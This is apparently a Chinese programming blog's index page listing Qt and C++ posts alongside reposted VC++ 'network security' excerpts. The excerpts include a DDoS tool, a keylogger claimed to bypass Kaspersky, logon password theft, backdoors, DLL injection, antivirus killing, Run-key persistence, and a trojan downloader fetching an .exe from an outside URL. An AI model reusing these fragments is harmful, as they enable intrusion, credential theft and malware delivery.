自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

乐在分享

每天进步一点点

  • 博客(56)
  • 资源 (3)
  • 收藏
  • 关注

原创 QT学习点滴记录(五)

QT 网络 TCP(二)

2014-09-22 14:50:27 716 1

原创 QT学习点滴记录(四)

网络TCP(一)一. 服务器端1. 新建一个QT Gui Application,工程名为"TCPServer", Base Class 选择QWidget, 并在工程文件TCPServer.pro中添加一句代码:QT += network2. 在widget.ui设计区添加一个Label, 更改其objectName为statusLabel, 用于显示一些状态信息 3.

2014-09-22 14:43:46 622 1

原创 QT学习点滴记录(二)

示例名称:QtCreator添加菜单图标1. x

2014-09-19 10:53:19 491

原创 QT学习点滴记录(一)

1. 软件安装及环境配置

2014-09-19 10:26:48 862 2

原创 PL/SQL工具使用

一、 自动替换

2014-08-05 12:03:16 773

转载 VisualC++信息安全编程(5)获取windows登陆账户密码

indows Logon Process,Windows NT 用户登陆程序,管理用户登录和退出。因为登陆的域名和用户名是明文存储在winlogon进程里的,而Password是限定了查找本进程用户的密码    GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400); >,然后到winlogon进程的空间中查找Use

2014-07-30 10:53:24 2967

转载 vc++网络安全编程范例(17)-open ssl 实现文件加密与解密

OpenSSL整个软件包大概可以分成三个主要的功能部分:密码算法库、SSL协议库以及应用程序。OpenSSL的目录结构自然也是围绕这三个功能部分进行规划的。   作为一个基于密码学的安全开发包,OpenSSL提供的功能相当强大和全面,囊括了主要的密码算法、常用的密钥和证书封装管理功能以及SSL协议,并提供了丰富的应用程序供测试或其它目的使用。对称加密算法  OpenSSL一共提供了8种对称

2014-07-30 10:53:03 1107

转载 VisualC++信息安全编程(4)实现文件自我删除

文件自我删除是一个很有必要的功能,尤其在国家之间的网络战争。[cpp] view plaincopy#include "stdafx.h"  #include   //加入状态显示头文件.    BOOL SelfDel1()  {      SHELLEXECUTEINFO sei;      TCHAR szModule 

2014-07-30 10:51:56 367

转载 VisualC++信息安全编程(6)穿透卡巴斯基的键盘记录编程-网络战技术

在国家之间的网络战争中,窃取密码是个很重要的事情。而密码往往是键盘输入的。利用原始设备输入变化RawInput 实现键盘记录,并穿透最牛的杀毒软件卡巴斯基。 引用外国人的原始设备输入变化的类。请柬代码与详细注解。 [cpp] view plaincopy#ifndef _RAWINPUT_H  #define _R

2014-07-30 10:51:55 603

转载 VC++远程插入dll代码

#include #include#include "resource.h"void WriteResourceToFile(char const *filename){ HINSTANCE hInstance=GetModuleHandle(NULL);        HRSRC hResInfo = FindResource(hInstance, MAKEI

2014-07-30 10:50:01 351

转载 VC++实现数据包过滤(防火墙原理)

#include "stdafx.h"#include "xpktfilter.h"#include "xpktfilterDlg.h"#include "./xpktfilterdlg.h"#ifdef _DEBUG#define new DEBUG_NEW#endif#pragma comment(lib,"iphlpapi.lib")// Cxpktf

2014-07-30 10:47:55 2889

转载 VC++实现多线程ddos

#include #include  #include #pragma comment(lib,"ws2_32.lib")#define SEQ 0x28376839int threadnum,maxthread,port;char *DestIP;//目标IPvoid display(void)  // 定义状态提示函数 {  static int

2014-07-30 10:47:15 364

转载 VC++多线程tcp connect扫描

#include #include#include #pragma comment(lib,"ws2_32.lib")char *host;int threadnum,maxthread,totalport;long nowport;TIMEVAL timeout;FD_SET    mask;void usage(char *name){p

2014-07-30 10:47:01 556

转载 VC++实现SYN扫描

#include #include #include #include #include "mstcpip.h"#pragma comment(lib,"ws2_32.lib")#define SEQ 0x28376839SOCKET sockRaw = INVALID_SOCKET,sockListen = INVALID_SOCKET;struct

2014-07-30 10:46:16 956

转载 vc++防止多次运行

#include#includeint main(int argc,char *argv[]){HANDLE hMutex;DWORD dwErr;hMutex=CreateMutex(NULL,//无安全描述FALSE,//没有所有者       "HACK");//对象名 if(hMutex==NULL)//hMutex为NULL标示创建失败{Mes

2014-07-30 10:45:46 319

转载 vc++实现文件传送

发送#include #include #pragma comment(lib, "ws2_32.lib")void main() {// 初始化    WSADATA wsaData;    int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );    if ( iResult != NO_ERROR )

2014-07-30 10:44:55 1032

转载 vc++实现文件关联

#include #include int main(int argc,char *argv[]){MessageBox(NULL,"Hello",NULL,MB_OK);char temp[256];memset(temp,0,256);if(argc!=1){int length =strlen(argv[1]);char *ch=(char *)mallo

2014-07-30 10:43:56 318

转载 vc++实现无进程无DLL无硬盘文件无启动项的ICMP后门后门程序

客户端 #include #include #include #pragma comment(lib,"ws2_32.lib")char SendMsg[256];/* The IP header */typedef struct iphdr {unsigned int h_len:4; //4位首部长度unsigned int vers

2014-07-30 10:41:46 382

转载 vc++HOOK API黑客外挂编程必知必会

#include // 定义API挂接项结构typedef struct _HOOK_ITEM { DWORD dwAddr ;   // IAT项所在地址 DWORD dwOldValue ;  // IAT项的原始函数地址 DWORD dwNewValue ;  // IAT项的新函数地址} HOOK_ITEM, *PHOOK_ITEM ;HOOK_ITEM H

2014-07-30 10:41:14 742

转载 vc++进程注入钩子DLL通用模块开源

#include "stdafx.h"#include #include #include "stdio.h"#include using namespace std;#define DEF_BUF_SIZE 1024// 用于存储注入模块DLL的路径全名char szDllPath[DEF_BUF_SIZE] = {0} ;// 使用远程线程向

2014-07-30 10:39:55 1248

转载 vc++ 实现多线程断点续传

结合FTP类,http类,实现多线程断点续传   // DownloadMTR.cpp: implementation of the CDownloadMTR class.////////////////////////////////////////////////////////////////////////#include "stdafx.h"#

2014-07-30 10:39:21 1179

转载 VC++ 实现FTP下载的通用类

// DownloadFtp.cpp: implementation of the CDownloadFtp class.////////////////////////////////////////////////////////////////////////#include "stdafx.h"#include "downtest.h"#include "Downl

2014-07-30 10:38:08 1418

转载 利用debug钩子拦截全局钩子,经典反黑客技术

// 键盘钩子消息处理过程LRESULT CALLBACK DebugProc ( int nCode, WPARAM wParam, LPARAM lParam ){ if ( nCode == HC_ACTION ) {  PDEBUGHOOKINFO pDebugHookInfo = (PDEBUGHOOKINFO)lParam ;  switch ( wParam

2014-07-30 10:38:06 834

转载 vc++实现http下载的通用类

// DownloadHttp.cpp: implementation of the CDownloadHttp class.////////////////////////////////////////////////////////////////////////#include "stdafx.h"#include "downtest.h"#include "Dow

2014-07-30 10:36:55 453

转载 vc++反向连接后门

#include#include#pragma comment(lib,"ws2_32.lib")void main(int argc,char **argv){char *messages = "/r/n======================== BackConnect BackDoor V0.1 ========================/r/n====

2014-07-30 10:35:18 363

转载 vc++telnet远程登录

#include #pragma comment(lib, "ws2_32.lib")#pragma comment(lib, "kernel32.lib")#define PORT 90SOCKET ServerSocket = INVALID_SOCKET;SOCKET ClientSocket = INVALID_SOCKET;HANDLE hReadPipe

2014-07-30 10:33:37 809

转载 vc++实现注册表自启动,木马用的比较多

#include #include int main(void){char regname[]="Software//Microsoft//Windows//CurrentVersion//Run";HKEY hkResult;int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);ret=RegSetVal

2014-07-30 10:29:16 428

转载 vc++抓取系统用户名

#include #include #include #pragma comment (lib, "Mpr.lib")#pragma comment (lib, "Netapi32.lib")void getuser(char *);void main( int argc, char *argv[ ] ){DWORD ret;char usernam

2014-07-30 10:27:42 443

转载 VC++结束进程,干掉杀毒软件或者其他令人不爽的进程

void pslist(void){HANDLE hProcessSnap = NULL;PROCESSENTRY32 pe32= {0};hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hProcessSnap == (HANDLE)-1){printf("/nCreateToolh

2014-07-30 10:26:53 432

转载 vc++取得系统信息,并实时刷新

#include#includevoid GetSysInfo();DWORD GetOS() { OSVERSIONINFO os;os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GetVersionEx(&os); switch(os.dwPlatformId) { case VER_PLATFOR

2014-07-30 10:25:58 538

转载 vc++编写一个木马下载器,体积仅有0.3K

#include #pragma link "w32inet.lib"int main(){HRESULT hRet=URLDownloadToFile(0,"http://www.1111.com/abc.exe","d://abc.exe",0,0); if(hRet==S_OK) {         printf("Download OK!/n");} 

2014-07-30 10:25:37 591

转载 从汇编的眼光看C++(之指针拷贝)

【 声明:版权所有,欢迎转载,请勿用于商业用途。  联系信箱:feixiaoxing @163.com】    指针是编程人员的梦魇,对C语言的开发者是如此,对C++的开发者也是如此。特别是在C++中,如果不注意处理类中的指针,非常容易出问题。如果朋友们不相信可以看看下面的代码:[cpp] view plaincopycl

2014-07-30 10:05:00 361

转载 从汇编的眼光看C++(之delete内存泄露)

【 声明:版权所有,欢迎转载,请勿用于商业用途。  联系信箱:feixiaoxing @163.com】    有过C语言编程的朋友大多知道,如果在malloc内存之后不及时free掉内存,那么很有可能会造成内存泄露的。那么在C++上面,是不是也存在这样的问题呢?结果是C++上面同样也存在内存泄露的危险。这个危险就是如果new后面不能delete的话,也会造成内存的泄露。还有不

2014-07-30 10:04:13 385

转载 用汇编的眼光看C++(之算术符重载陷阱)

【 声明:版权所有,欢迎转载,请勿用于商业用途。  联系信箱:feixiaoxing @163.com】    在算术符重载里面,“=”重载可能是最经常使用的一种。但是好多人就误以为在函数中,凡是类出现“=”的地方,那就是调用算术符重载,其实不然。为什么呢?我们可以看看下面的代码。首先,我们定义一个基本类:[cpp] view plaincopy

2014-07-30 10:03:25 299

转载 用汇编的眼光看C++(之缺省模板、特化模板)

缺省函数是C++的一个基本特色。缺省函数定义比较简单,也就是说,对于函数的某一个输入参数或者几个输入参数,如果你没有特定的数值的话,那我们就会用缺省的数据进行代替。如果你在调用的过程中使用了自己的数据,那么缺省数据将被我们自己定义的数据覆盖。下面就是一个缺省函数的示例:[cpp] view plaincopyint  add(int m, i

2014-07-30 10:01:45 317

转载 从汇编的眼光看C++(之泛型编程)

泛型编程其实不难。本质上说,泛型编程就是让通用的算法应用到所有的数据类型。具体来说,int是我们熟悉的整数类型。那么一般情况下,如果我们写一个int整数的排序算法,应该怎么写呢?大家可以自己试试?下面的代码是我的一个范例;[cpp] view plaincopyvoid bubble_sort(int array[], int length)  

2014-07-30 10:01:09 332

转载 从汇编的眼光看C++(之递归函数与模板类)

递归,相信有过基本C语言经验的朋友都明白,就是函数自己调用自己。所以,本质上说,它和普通的函数调用没有什么区别。今天之所以会把模板类和递归联系在一起,是因为我们可以用递归的方法实现模板的递归。闲话不多说,我们先从一个统计函数开始说起。[cpp] view plaincopyint process(int m)  {      int 

2014-07-30 10:00:28 356

转载 用汇编的眼光看c++(之模板函数)

如果说模板类定义的是一种数据类型,那么模板函数定义的就是一种函数。既然是函数,那么就有输入数据和输出数据。和模板类的概念差不多,模板函数的初衷也是为了在函数操作上抽取共同的特性,屏蔽的是类型的不同和差异。我们可以通过下面一个简单的代码说明问题:[cpp] view plaincopyint int_compare(int a, int b) 

2014-07-30 09:59:09 356

转载 用汇编的眼光看C++(之模板类)

如果类是一种确定的数据类型,那么模板就是一种对类的抽象。假设有这么一种类,它需要进行数据的计算,而且类型还很多,那么我们可能就要针对不同类型的数据定义不同的类。我们可以用下面一段代码说明问题:[cpp] view plaincopyclass int_process  {      int a;      int b;  publ

2014-07-30 09:58:28 336

转载 用汇编的眼光看C++(之缺省模板、特化模板)

缺省函数是C++的一个基本特色。缺省函数定义比较简单,也就是说,对于函数的某一个输入参数或者几个输入参数,如果你没有特定的数值的话,那我们就会用缺省的数据进行代替。如果你在调用的过程中使用了自己的数据,那么缺省数据将被我们自己定义的数据覆盖。下面就是一个缺省函数的示例:[cpp] view plaincopyint  add(int m, i

2014-07-30 09:57:43 384

DL/T 698.45-201X 面向对象通信协议

国家电网公司企业标准-面向对象的用电信息数据交换协议

2019-04-03

use-vim-as-ide

完整版《像使用IDE一样使用VIM》,高清,带目录。希望对你们有用

2018-05-07

超市管理系统

随着小超市规模的发展不断扩大,商品数量急剧增加,有关商品的各种信息量也成倍增长。超市时时刻刻都需要对商品各种信息进行统计分析。而大型的超市管理系统功能过于强大而造成操作繁琐降低了小超市的工作效率。

2012-12-06

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除